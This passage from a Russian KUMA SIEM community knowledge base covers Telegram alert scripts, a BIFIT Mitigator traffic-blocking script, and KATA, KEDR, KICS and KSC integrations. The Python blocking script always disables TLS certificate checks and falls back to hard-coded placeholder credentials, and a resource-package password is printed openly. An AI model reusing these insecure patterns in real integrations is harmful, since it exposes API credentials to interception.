6\. Если планируется использовать бота в группе, а не в личных сообщениях, то необходимо изменить настройки приватности. Для этого вводим `/mybots`, выбираем своего бота из списка, выбираем Bot Settings, Group Privacy и выбираем Turn off. После этого бот сможет отправлять сообщения в группах.

7\. Далее переходим в своего бота по ссылке полученной от BotFather и выполняем команду /start для запуска бота.

8\. Для отправки сообщения отдельному пользователю необходимо начать диалог с ботом, а также узнать chat\_id этого пользователя. Чтобы узнать chat\_id пользователя заходим в бота [https://t.me/getmyid\_bot](https://t.me/getmyid_bot) и вводим команду `/start`. Полученное значение chat\_id потребуется в дальнейшем для отправки сообщений ботом

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/JRSimage.png)

9\. Чтобы отправлять сообщение ботом в группу необходимо узнать chat\_id этой группы. Для этого в созданную группу необходимо пригласить бота [https://t.me/getmyid\_bot](https://t.me/getmyid_bot) и он выведет chat\_id группы (в поле Current chat ID), который потребуется в дальнейшем для отправки уведомлений. После получения id бота нужно удалить из группы.

10\. Теперь можно отправить тестовое сообщение боту набрав в строке браузера команду:

```
https://api.telegram.org/bot<token>/sendMessage?chat_id=<chat_id>&text=test
```

Подставив вместо `<token>` и `<chat_id>` значения полученные ранее. В результате в личном чате или группе (в зависимости от выбранного способа) должно появиться уведомление, а в ответе браузера JSON не должен содержать ошибок.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/KD2image.png)

11\. После проверки работоспособности бота можно переходить к настройке отправки уведомлений.

---

### Скрипт уведомления

1\. Создайте скрипт уведомления

В простейшем виде скрипт отправки уведомления выглядит следующим образом:

```bash
#!/bin/bash
set -eu
CHAT_ID=<chat_id из п.8-9 предыдущего раздела>
TG_TOKEN=<token из п.5 предыдущего раздела>
RULE=$1
TEXT="Произошла сработка правила <b>$RULE</b>"
curl --data-urlencode "chat_id=$CHAT_ID" --data-urlencode "text=$TEXT" --data-urlencode "parse_mode=HTML" https://api.telegram.org/bot$TG_TOKEN/sendMessage
```

В случае, если у сервера коррелятора отсутствует прямой доступ в Интернет, скрипт можно модифицировать добавив адрес прокси-сервера для доступа в Интернет

```bash
#!/bin/bash
set -eu
CHAT_ID=<chat_id из п.8-9 предыдущего раздела>
TG_TOKEN=<token из п.5 предыдущего раздела>
RULE=$1
TEXT="Произошла сработка правила <b>$RULE</b>"
PROXY=<адрес и порт прокси-сервера>
curl --proxy $PROXY --data-urlencode "chat_id=$CHAT_ID" --data-urlencode "text=$TEXT" --data-urlencode "parse_mode=HTML" https://api.telegram.org/bot$TG_TOKEN/sendMessage
```

<details id="bkmrk-%D0%95%D1%89%D0%B5-%D0%BE%D0%B4%D0%B8%D0%BD-%D0%B2%D0%B0%D1%80%D0%B8%D0%B0%D0%BD%D1%82-%D1%81%D0%BA%D1%80"><summary>Еще один вариант скрипта</summary>

Еще один вариант скрипта, когда в качестве аргумента передаем следующие поля *"{{.Timestamp}} | {{.Name}} | {{.DeviceHostName}}"*:

```bash
#!/bin/bash

set -eu

CHAT_ID=<chat_id из п.8-9 предыдущего раздела>
TG_TOKEN=<token из п.5 предыдущего раздела>

RULE=$1

# writing local log of arguments 
echo $(date +"%d-%m-%Y %T.%3N") - $RULE >> /opt/kaspersky/kuma/correlator/0b9200ae-d5a9-41ce-bf7b-c16814ed9524/scripts/bot.log

# escaping spec characters in argument except \s \| 
RULE=$(echo $RULE | sed 's/[][\~`!@#$%^&*()=+{};:'"'"'"<>/?-]/\\&/g')

#try to beautify alert if arg is like "{{.Timestamp}} | {{.Name}} | {{.DeviceHostName}}"
{
    TIME=$(date -d @$(($(echo $RULE | cut -d "|" -f 1)/1000)))
    NAME=$(echo $RULE | cut -d "|" -f 2)
    HOST=$(echo $RULE | cut -d "|" -f 3)
    TEXT="⚠️Алерт %0AПравило: <b>$NAME</b> %0AВремя: $TIME %0AХост: $HOST"
} || {
#else if can't beautify
    TEXT="⚠️Алерт %0AПравило: <b>$NAME</b> %0"    
}
    curl -XPOST "https://api.telegram.org/bot$TG_TOKEN/sendMessage?chat_id=$CHAT_ID&text=$TEXT&parse_mode=html"
```

Получаем алерт вида:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/7evimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/7evimage.png)

</details>2\. Поместите скрипт в папку коррелятора, уведомления о сработках которого необходимо отправлять через телеграм-бот

Путь для размещения скрипта

```
/opt/kaspersky/kuma/correlator/<id>/scripts/
```

`<id>` - идентификатор коррелятора, можно найти в веб-интерфейсе ([ссылка](https://kb.kuma-community.ru/link/47#bkmrk-q%3A-%D0%9A%D0%B0%D0%BA-%D0%BF%D0%BE%D1%81%D0%BC%D0%BE%D1%82%D1%80%D0%B5%D1%82%D1%8C-id))

3\. Назначьте пользователя kuma владельцем файла и дайте файлу права на выполнение

```bash
chown kuma:kuma /opt/kaspersky/kuma/correlator/<id>/scripts/bot.sh
chmod +x /opt/kaspersky/kuma/correlator/<id>/scripts/bot.sh
```

---

### Настройка KUMA

1\. В веб-интерфейсе KUMA перейдите на вкладку **Resources**, выберите **Response** и нажмите на кнопку **Add Response**.

2\. Задайте параметры правила реагирования

- В поле **Name** укажите имя правила реагирования.
- Укажите тенант.
- В поле **kind** выберите **script**.
- Задайте имя скрипта в поле **Script name**.
- В качестве аргумента укажите **{{.Name}}** - так в качестве аргумента выполнения скрипта будет передаваться имя корреляционного события.

3\. Далее перейдите в настройки коррелятора, который будет выполнять реагирование На вкладке **Response** нажмите **Add** и из выпадающего списка выберите созданное ранее правило реагирования.

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/m2iimage.png)

4\. Обновите параметры сервиса коррелятора

5\. Результат работы скрипта представлен ниже

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/kYYimage.png)

# Реагирование на BIFIT Mitigator

<p class="callout info">Данный скрипт добавлен пользователем KUMA Community и предоставляется AS IS без каких-либо гарантий и ответственности.</p>

### Описание

Скрипт позволяет осуществить временную блокировку трафика (`tbl`) в политике, которая подпадает под указанные параметры (`src_ip`, `dst_ip`, `src_port`, `dst_port`, `protocol`) или же в указанной политике.

---

### Аргументы

`--server` указываем ip адрес сервера, можно захаркодить в скрипте в hostnames = \['x.x.x.x', 'y.y.y.y'\] # Вставить список хостов   
`--user` указываем имя пользователя, можно захаркодить в скрипте в user = 'login' # Заменить логин  
`--password` указываем имя пользователя, можно захаркодить в скрипте в passwd = 'passwd' # Заменить пароль  
`--policy` указываем policy\_id, если известно заранее  
`-s`, `--ip_src` IP адрес источника для блокировки  
`-d`, `--ip_dst` IP адрес назначения для блокировки  
`-t`, `--time` время на которое будет заблокирован трафик  
`-p`, `--port_src` Порт источника для блокировки  
`-o`, `--port_dst` Порт назначения для блокировки  
`-P`, `--protocol` Протокол для блокировки

---

### Правило реагирования

![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2024-03/scaled-1680-/APlimage.png)

---

### Скрипт

Скрипт на языке python доступен под спойлером

<details id="bkmrk-mitigator_block.py-%23"><summary>mitigator\_block.py</summary>

```python
#!/bin/python3

import argparse
import json
import ssl 
import sys


if sys.version_info >= (3, ):
        from urllib.request import Request, urlopen
        from urllib.error import HTTPError
else:
        from urllib2 import Request, urlopen, HTTPError

class RequestEx(Request):
    def __init__(self, *args, **kwargs):
        self._method = kwargs.pop('method', None)
        Request.__init__(self, *args, **kwargs)

    # 'add_data(str)' removed in Python 3.4 in favour of 'Request.data: bytes'
    def add_data(self, data):
        if hasattr(self, 'data'):
            self.data = data.encode('utf-8')
        else:
            Request.add_data(self, data)

    # Request.method was added in Python 3.3
    def get_method(self):
        return self._method if self._method else Request.get_method(self)
    
class MitigatorException(BaseException):
    def __init__(self, message):
        self.message = message

    def __str__(self):
        return self.message
    
def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('--server', help='Mitigator host')
    parser.add_argument('--user', help='Mitigator login')
    parser.add_argument('--password', help='Mitigator password')
    parser.add_argument('--policy', help='policy ID (as shown in URL)')
    parser.add_argument('--no-verify', help='disable TLS certificate validation', action='store_true')
    parser.add_argument('-s', '--ip_src',  required=True, help='IP address to block')
    parser.add_argument('-d', '--ip_dst', required=True, help='IP address to block')
    parser.add_argument('-t', '--time', required=True, help='block time in seconds', type=int)
    parser.add_argument('-p', '--port_src',  help='Port src to block', type=int)
    parser.add_argument('-o', '--port_dst',  help='Port dst to block', type=int)
    parser.add_argument('-P', '--protocol',  help='Protocol to block')
    return parser.parse_args()

def make_request(hostname, uri, method=None, token=None, policy=None, data=None, parameters=None):

    url = f'https://{hostname}/api/v4/{uri}'

    if parameters is not None:
        url = f'https://{hostname}/api/v4/{uri}?{parameters}'

    request = RequestEx(url, method=method)
    if token is not None:
        request.add_header('X-Auth-Token', token)
    if data is not None:
        request.add_data(json.dumps(data))
   
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx = ctx
    try:
        response = urlopen(request, context=ctx)
    except HTTPError as e:
        try:
            raise MitigatorException(e.fp.read())
        except IOError:
            raise e
    return json.load(response)['data']


def block_traffic(hostname, token, options, policy_id):
#Вносим во временную блокировку ip адрес
    if policy_id:
        tbl_install = make_request(hostname, 
                                f'tbl/items?policy={policy_id}&no_logs=false&source=1', 
                                token=token, 
                                method='POST', 
                                data={
                                        "items": [
                                            {
                                                "prefix": options.ip_src,
                                                "ttl": options.time
                                            }
                                        ]
                                    } )
        tbl_install_check = make_request(hostname, f'tbl/list?policy={policy_id}', token=token, method='GET')


def search_policy(hostname, token, options):
    data_request = ''
    if options.ip_src is not None:
        data_request += f'src_address={options.ip_src}'
    if options.ip_dst is not None:
        data_request += f'&dst_address={options.ip_dst}'
    if options.port_src is not None:
        data_request += f'&src_port={options.port_src}'
    else:
        data_request += '&src_port=88' # обязательный параметр при запросе policy_id, но в политике может быть не настроен, подставляем произвольный
    if options.port_dst is not None:
        data_request += f'&dst_port={options.port_dst}'
    else:
        data_request += '&dst_port=88' # обязательный параметр при запросе policy_id, но в политике может быть не настроен, подставляем произвольный
    if options.protocol is not None:
        data_request += f'&protocol={options.protocol}' 
    else:
        data_request += '&protocol=TCP' # обязательный параметр при запросе policy_id, но в политике может быть не настроен, подставляем произвольный
    policy_request = make_request(hostname, f'policies/by_inbound_packet', token=token, method='GET', parameters=data_request)
    policy_id = policy_request.get('policy_id')
    return policy_id  

if __name__ == '__main__':
    options = parse_args()
    if options.server is not None:
        hostnames = [options.server]
    else:
        hostnames = ['x.x.x.x', 'y.y.y.y'] # Заменить список хостов 
    if options.user is not None:
        user = options.user
    else:
        user = 'user' # Заменить логин
    if options.password is not None:
        passwd = options.password
    else:
        passwd = 'passwd' # Заменить пароль
    
    for host in hostnames:
        url_prefix = f"https://{host}/api/v4"
        try:
            data = make_request(host, 'users/session', data={'username': user, 'password': passwd})
            token = data['token']
            if options.policy is None:
                policy_id = search_policy(host, token, options)
                block_traffic(host, token, options, policy_id)
            else:
                block_traffic(host, token, options, options.policy)
        except:
            continue 
```

</details>

# Отправка уведомления в телеграм-бот со ссылкой на KATA и KUMA

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout danger">Данный сценарий рекомендуется использовать **только в демонстрационных целях**!   
Правило корреляции из данного сценария написано с широким фильтром и на боевой инсталляции может генерировать большое число алертов!  
</p>

### Настройка Telegram

Настройки Telegram-бота, а также инструкции по импорту скрипта на коррелятор приведены в соответствующей **[статье ](https://kb.kuma-community.ru/books/integracii/page/otpravka-uvedomleniia-v-telegram-bot "Отправка уведомления в телеграм-бот")**

---

### Скрипт уведомления

Скрипт отправки уведомления выглядит следующим образом:

```bash
#!/bin/bash
set -eu
CHAT_ID=<id чата>
TG_TOKEN=<токен>
KUMA_ASSETS="https://<KUMA_ADDR>:7220/assets/all?asset="
TEXT="В KATA обнаружен TAA-детект <b>$1</b> на хосте <a href='$KUMA_ASSETS$3'>$2</a>.%0AАлерт KATA доступен по <a href='$4'>ссылке</a>"

curl --data-urlencode "chat_id=$CHAT_ID" --data "text=$TEXT" --data-urlencode "parse_mode=HTML" https://api.telegram.org/bot$TG_TOKEN/sendMessage
```

Для работы скрипта необходимо задать следующие параметры:

- `CHAT_ID` - id чата или группы с ботом вместо `<id чата>`
- `TG_TOKEN` - токен бота вместо `<token>`
- `KUMA_ASSETS` - указать адрес KUMA (FQDN или IP) вместо `<KUMA_ADDR>`

Поместите скрипт в папку коррелятора, уведомления о сработках которого необходимо отправлять через телеграм-бот

---

### Настройка KUMA

Для реализации предложенного сценария необходимо:

1\. Импортировать в систему пакет ресурсов по [**ссылке**](https://box.kaspersky.com/d/f635a66de3f847dc8124/)

<details id="bkmrk-%D0%A1%D0%BE%D1%81%D1%82%D0%B0%D0%B2-%D0%B8-%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8C-%D0%BE%D1%82-%D0%BF"><summary>Состав и пароль от пакета ресурсов</summary>

Пароль для импорта: **Qwerty123!**

Состав пакета:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/2Ypimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/2Ypimage.png)

</details>2\. На коллекторе для сбора событий KATA применить правило обогащения из пакета **KATA alert** (или коробочный аналог **\[OOTB\] Kata Alert**)

3\. На коррелятор привязать правило корреляции **\[KATA\] Обнаружен TAA-детект**

4\. На коррелятор привязать правило реагирования **\[DEMO\] Telegram -2**

5\. Выполнить обновление параметров сервисов коллектора и коррелятора.

---

### Результат работы скрипта

1\. Когда КАТА возводит алерт по ТАА-правилам, в KUMA срабатывает правило корреляции.   
2\. Корреляционное событие этого правила триггерит правило реагирования.   
3\. По правилу реагирования запускается скрипт отправки уведомлений в Телеграм.

Уведомление в телеграм содержит наименование TAA-детекта, FQDN-хоста, на котором была обнаружена активность (со ссылкой на активы KUMA), ссылку на соответствующий алерт в KATA.

<details id="bkmrk-%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80-%D1%83%D0%B2%D0%B5%D0%B4%D0%BE%D0%BC%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F"><summary>Пример уведомления</summary>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/scaled-1680-/CPjimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-09/CPjimage.png)

</details>

# Интеграция по реагированию KUMA и KEDR

### Настройки на KUMA

На стороне KUMA. Если мы не хотим делать отдельные интеграции разделенные по Тенантам (подходит для MSSP), а одну общую интеграцию с KEDR, то нужно убрать галочку **Распределенное решение**:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/eRoimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/eRoimage.png)

Задаем Адрес сервера и Порт, затем создаем Секрет для подключения к KEDR:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/Rzmimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/Rzmimage.png)

Придумайте название Секрета и сгенерируйте закрытый ключ нажав на **значок Загрузки**.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/S6zimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/S6zimage.png)

Распакуйте архив, затем **загрузите Открытый ключ** (cert.pem) и **Закрытый ключ** (key.pem).

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/Zp4image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/Zp4image.png)

Нажмите кнопку **Сохранить** для сохранения Секрета.

Затем снова на кнопку **Сохранить** для сохранения настроек Интеграции с KEDR.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/6iIimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/6iIimage.png)

### Настройки на KEDR

На стороне KEDR нужно залогинться из под УЗ (с пролью администратора), по умолчанию это **Administrator**, перейти в раздел **Внешние системы**. Необходимо принять запрос от внешней системы (Внешний ID в настройках интеграции KUMA Должен совпадать с ID внешней системы в KEDR).

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/o5Dimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/o5Dimage.png)

Для удобства можно задать имя внешней системы в KEDR:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/Z6zimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/Z6zimage.png)

Интеграция завершена.

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/scaled-1680-/aTRimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-11/aTRimage.png)

<p class="callout warning">Для работы кнопки реагирования KEDR: Полное доменное имя (FQDN) актива в KUMA должно совпадать со значением Хост в Активах KEDR (вход от Администраторской УЗ)</p>

### Логирование работы с API на стороне CN (Central Node)

Зайти по ssh на сервер KATA/KEDR CN и выполнить команду:

```bash
[root@kata-cn-4 ~]# cat /var/log/kaspersky/apt-history/apt-history.log
2022-01-11 09:34:06.419690 info apt-history: EXTERNAL_SYSTEM=TEST_KUMA REQUEST_TIMESTAMP=2022-01-11T09:34:06.418883: network isolation SET: host=14b22842-33d6-d3ef-3789-ef5108d6d411 rule={"autoTurnoffTimeoutInSec":180}
2022-01-11 09:36:15.200333 info apt-history: EXTERNAL_SYSTEM=TEST_KUMA REQUEST_TIMESTAMP=2022-01-11T09:36:15.199826: network isolation DELETED: host=14b22842-33d6-d3ef-3789-ef5108d6d411
```

# Реагирование на KICS Networks с помощью скрипта

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

В связи с ограничениями коробочного реагирования с KICS Networks (возможность выбора полей только \*AssetID) в KUMA 2.х версиях был разработан скрипт, который может использовать произвольное поле, где находится UUID актива в KUMA.

Скрипт реагирования можно загрузить из [Пресейл-Пак контент](https://kas.pr/kuma-ppack) из соответсвующей папки.

Для попадания событий изменения категорий предварительно нужно **настроить аудит активов**, подробнее можно посмотреть [**тут**](https://kb.kuma-community.ru/books/kuma-how-to/page/audit-izmenenii-po-aktivam). Вот так выглядит аудита активов (при ручном или любом другом типе добавления в категорию):

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/GBzimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/GBzimage.png)

Далее необходимо создать правило корреляции, которое будет менять **статус KICS for Networks** на неразрешенное при добавлении в категорию, например *Main/Categorized assets/KICS-NET/unwanted*. Оно будет выглядеть так (необходимо пробросить поле *DeviceExternalID* в групирующие поля):

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/5KTimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/5KTimage.png)

Пример сработки правила корреляции:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/0O3image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/0O3image.png)

Далее нужно создать (либо загрузить из Пресейл-Пака) правило реагирование которое будет запускать скрипт из Пресейл-Пака, правило должно выглядеть следующим образом:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/scaled-1680-/4k8image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-12/4k8image.png)

Скрипт необходимо загрузить и выгрузить на коррелятор и выполнить действия по [**этой статье**](https://kb.kuma-community.ru/books/integracii/page/zapusk-skripta-korreliatorom).

В результате правило корреляции и реагирование нужно добавить в коррелятор и обновить его параметры. ТАким образом получим, что при перемещении актива в определенную категорию (например Активным способом по подсети), автоматом эти активы будут помечаться недоверенными.

# Активы

Добавление активов в KUMA различными способами

# Интеграция KUMA с KSC

<p class="callout info">Информация, приведенная на данной странице, является разработкой команды pre-sales и/или community KUMA и **НЕ** является официальной рекомендацией вендора.</p>

<p class="callout info">Официальная документация по данному разделу приведена в Онлайн-справке на продукт: [https://support.kaspersky.com/KUMA/3.4/ru-RU/217923.htm](https://support.kaspersky.com/KUMA/3.4/ru-RU/217923.htm) </p>

<iframe class="align-center" height="315" src="https://www.youtube.com/embed/u6v3qbDmu2Q?si=8K7B8BzkDDmL7KnX" style="border: 0;" title="YouTube video player" width="560"></iframe>

Интеграция KUMA с KSC позволяет получить активы и данные по ним, которыми управляет KSC, возможность запуска задач реагирования, перемещение активов между группами KSC, закрытие уязвимостей (при наличии лицензии от Kaspersky Endpoint Security для бизнеса Расширенный и выше) из интерфейса KUMA.

Настройка интеграции KUMA с Kaspersky Security Center включает следующие этапы:

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Создание в Консоли администрирования </span><span lang="EN-US">Kaspersky</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Security</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Center</span><span style="mso-ansi-language: RU;"> учетной записи пользователя.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Создание секрета в </span><span lang="EN-US">KUMA</span><span style="mso-ansi-language: RU;"> с типом </span><span lang="EN-US">credentials</span><span style="mso-ansi-language: RU;"> для соединения с </span><span lang="EN-US">Kaspersky</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Security</span><span lang="EN-US" style="mso-ansi-language: RU;"> </span><span lang="EN-US">Center</span><span style="mso-ansi-language: RU;">.</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU;">Создание подключения к серверу Kaspersky Security Center.</span>

##### <span style="color: rgb(22, 145, 121);">**Создание учетной записи пользователя**</span>

Чтобы создать учетную запись пользователя:

**<span lang="EN-US" style="mso-ansi-language: EN-US; mso-fareast-language: RU;">Kaspersky Security Center Web Console</span>**

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Перейдите в раздел **Пользователи и роли** → **Пользователи и группы** и выберите вкладку **Пользователи**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Нажмите на кнопку **Добавить**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">В появившемся окне **Добавить пользователя** укажите параметры нового пользователя:</span>

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span style="mso-ansi-language: RU; mso-fareast-language: RU;">Имя</span>**

<span style="font-family: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">·<span style="font: 7.0pt 'Times New Roman';"> </span></span></span>**<span style="mso-ansi-language: RU; mso-fareast-language: RU;">Пароль</span>**

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/7oGimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/7oGimage.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Нажмите **Сохранить** для завершения создания учетной записи пользователя.</span>

<span style="mso-fareast-language: RU;">Учетная запись пользователей добавлена в список пользователей.</span>

<span style="mso-fareast-language: RU;"> </span>

<span style="mso-fareast-language: RU;">Далее создайте роль пользователя с набором прав и разрешений в </span><span lang="EN-US" style="mso-ansi-language: EN-US; mso-fareast-language: RU;">KSC</span><span style="mso-fareast-language: RU;">:</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Перейдите в раздел **Пользователи и роли** → **Роли.**</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Нажмите на кнопку **Добавить**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">В появившемся окне **Имя новой роли** укажите название новой роли.</span>

Для интеграции необходимо заранее создать учетную запись (внутреннего пользователя) в KSC:

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/Darimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/Darimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/scaled-1680-/aY3image.png)](https://kb.kuma-community.ru/uploads/images/gallery/2023-08/aY3image.png)

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Нажмите **ОК.**</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">В появившемся окне параметров роли перейдите во вкладку **Права доступа** и предоставьте права согласно скриншотам ниже (в данном примере права предоставляются к приложению </span><span lang="EN-US" style="mso-fareast-language: RU;">Kaspersky Endpoint Security </span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">для </span><span lang="EN-US" style="mso-fareast-language: RU;">Windows </span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">12.8.0)</span>

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/4HPimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/4HPimage.png)

[![image.png](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/scaled-1680-/M3Cimage.png)](https://kb.kuma-community.ru/uploads/images/gallery/2026-06/M3Cimage.png)

**<span style="mso-ansi-language: RU; mso-fareast-language: RU;"> </span>**

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">6.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Нажмите **Сохранить**.</span>

**<span style="mso-fareast-language: RU;"> </span>**

<span style="mso-fareast-language: RU;">Назначьте созданную роль ранее созданной учетной записи пользователя:</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Перейдите в раздел **Пользователи и роли** → **Пользователи и группы** и выберите вкладку **Пользователи**.</span>

<span style="mso-fareast-font-family: 'Kaspersky Sans Display Light'; mso-bidi-font-family: 'Kaspersky Sans Display Light'; mso-ansi-language: RU; mso-fareast-language: RU;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-ansi-language: RU; mso-fareast-language: RU;">Нажмите на кнопку лупы<span style="mso-spacerun: yes;"> </span>и введите имя ранее созданной учетной записи пользователя.</span>

